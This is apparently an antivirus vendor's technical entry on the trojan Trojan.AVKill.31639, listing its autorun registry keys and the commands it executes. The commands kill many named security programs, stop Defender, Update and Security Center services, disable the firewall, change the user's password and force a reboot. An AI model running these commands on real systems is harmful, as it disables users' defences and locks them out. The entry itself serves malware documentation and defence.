Trojan.AVKill.31639

Technical Information

To ensure autorun and distribution:

Modifies the following registry keys:

[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'rundll32_31711_toolbar' = 'c:\Biatch.bat'

Creates or modifies the following files:

%HOMEPATH%\Start Menu\Programs\Startup\Biatch.bat

Malicious functions:

To bypass firewall, removes or modifies the following registry keys:

[<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'DoNotAllowExceptions' = '00000000'
[<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'EnableFirewall' = '00000000'

Executes the following:

'<SYSTEM32>\tskill.exe' /A panda*
'<SYSTEM32>\tskill.exe' /A avsch*
'<SYSTEM32>\tskill.exe' /A padmin
'<SYSTEM32>\tskill.exe' /A pop*
'<SYSTEM32>\tskill.exe' /A pav*
'<SYSTEM32>\tskill.exe' /A sche*
'<SYSTEM32>\tskill.exe' /A sweep*
'<SYSTEM32>\tskill.exe' /A scan*
'<SYSTEM32>\tskill.exe' /A realm*
'<SYSTEM32>\tskill.exe' /A syman*
'<SYSTEM32>\tskill.exe' /A virus*
'<SYSTEM32>\tskill.exe' /A cpd*
'<SYSTEM32>\tskill.exe' /A ccc*
'<SYSTEM32>\tskill.exe' /A npfmn*
'<SYSTEM32>\tskill.exe' /A norton au*
'<SYSTEM32>\tskill.exe' /A cc*
'<SYSTEM32>\tskill.exe' /A norton*
'<SYSTEM32>\tskill.exe' /A loge*
'<SYSTEM32>\tskill.exe' /A tmn*
'<SYSTEM32>\tskill.exe' /A pcc*
'<SYSTEM32>\tskill.exe' /A tmp*
'<SYSTEM32>\tskill.exe' /A nisum*
'<SYSTEM32>\tskill.exe' /A issvc
'<SYSTEM32>\net1.exe' stop "wuauserv"
'<SYSTEM32>\net.exe' stop "WSearch"
'<SYSTEM32>\net.exe' stop "wuauserv"
'<SYSTEM32>\net.exe' stop "WPCSvc"
'<SYSTEM32>\net1.exe' stop "WPCSvc"
'<SYSTEM32>\net1.exe' stop "WSearch"
'<SYSTEM32>\tskill.exe'
'<SYSTEM32>\reg.exe' add "hklm\Software\Microsoft\Windows\CurrentVersion\Run" /v "rundll32_31711_toolbar" /t "REG_SZ" /d "c:\Biatch.bat" /f
'<SYSTEM32>\taskkill.exe' /f /t /im "MSASCui.exe"
'<SYSTEM32>\net.exe' stop "WinDefend"
'<SYSTEM32>\net1.exe' stop "WinDefend"
'<SYSTEM32>\taskkill.exe' /f /t /im "FirewallControlPanel.exe"
'<SYSTEM32>\tskill.exe' /A norm*
'<SYSTEM32>\tskill.exe' /A offg*
'<SYSTEM32>\tskill.exe' /A avas*
'<SYSTEM32>\tskill.exe' /A ad-*
'<SYSTEM32>\tskill.exe' /A safe*
'<SYSTEM32>\net.exe' stop "wscsvc"
'<SYSTEM32>\net.exe' stop "MpsSvc"
'<SYSTEM32>\net1.exe' stop "MpsSvc"
'<SYSTEM32>\net1.exe' stop "WerSvc"
'<SYSTEM32>\net1.exe' stop "wscsvc"
'<SYSTEM32>\net.exe' stop "WerSvc"
'<SYSTEM32>\tskill.exe' /A bullguard
'<SYSTEM32>\tskill.exe' /A PersFw
'<SYSTEM32>\tskill.exe' /A spy*
'<SYSTEM32>\tskill.exe' /A fire*
'<SYSTEM32>\tskill.exe' /A anti*
'<SYSTEM32>\tskill.exe' /A KAV*
'<SYSTEM32>\tskill.exe' /A nv*
'<SYSTEM32>\tskill.exe' /A nav*
'<SYSTEM32>\tskill.exe' /A OUTPOST
'<SYSTEM32>\tskill.exe' /A ZONEALARM
'<SYSTEM32>\tskill.exe' /A SAFEWEB
'<SYSTEM32>\tskill.exe' /A av*
'<SYSTEM32>\attrib.exe' -r -s -h c:\autoexec.bat
'<SYSTEM32>\attrib.exe' -r -s -h c:\boot.ini
'<SYSTEM32>\net1.exe' user %USERNAME% hahahaha
'<SYSTEM32>\cmd.exe' /c ""c:\Biatch.bat" "
'<SYSTEM32>\wscript.exe' "<Current directory>\opendisk.vbs"
'<SYSTEM32>\attrib.exe' -r -s -h c:\ntldr
'<SYSTEM32>\net1.exe' stop УSecurity CenterФ
'<SYSTEM32>\netsh.exe' firewall set opmode mode=disable
'<SYSTEM32>\net.exe' stop УSecurity CenterФ
'<SYSTEM32>\attrib.exe' -r -s -h %WINDIR%\win.ini
'<SYSTEM32>\shutdown.exe' /r /t 00
'<SYSTEM32>\tskill.exe' /A mghtml
'<SYSTEM32>\tskill.exe' /A msiexec
'<SYSTEM32>\tskill.exe' /A mcafe*
'<SYSTEM32>\tskill.exe' /A gcasDt*
'<SYSTEM32>\tskill.exe' /A msmp*
'<SYSTEM32>\tskill.exe' /A isafe
'<SYSTEM32>\tskill.exe' /A zlclien*
'<SYSTEM32>\tskill.exe' /A minilog
'<SYSTEM32>\tskill.exe' /A upd*
'<SYSTEM32>\tskill.exe' /A zap*
'<SYSTEM32>\tskill.exe' /A zauinst
'<SYSTEM32>\tskill.exe' /A guar*
'<SYSTEM32>\tskill.exe' /A BLACKICE
'<SYSTEM32>\tskill.exe' /A def*
'<SYSTEM32>\tskill.exe' /A cle
'<SYSTEM32>\tskill.exe' /A F-*
'<SYSTEM32>\tskill.exe' /A ESAFE
'<SYSTEM32>\tskill.exe' /A kav
'<SYSTEM32>\tskill.exe' /A ewid*
'<SYSTEM32>\tskill.exe' /A guard*
'<SYSTEM32>\tskill.exe' /A aswupdsv
'<SYSTEM32>\tskill.exe' /A avg*
'<SYSTEM32>\tskill.exe' /A ash*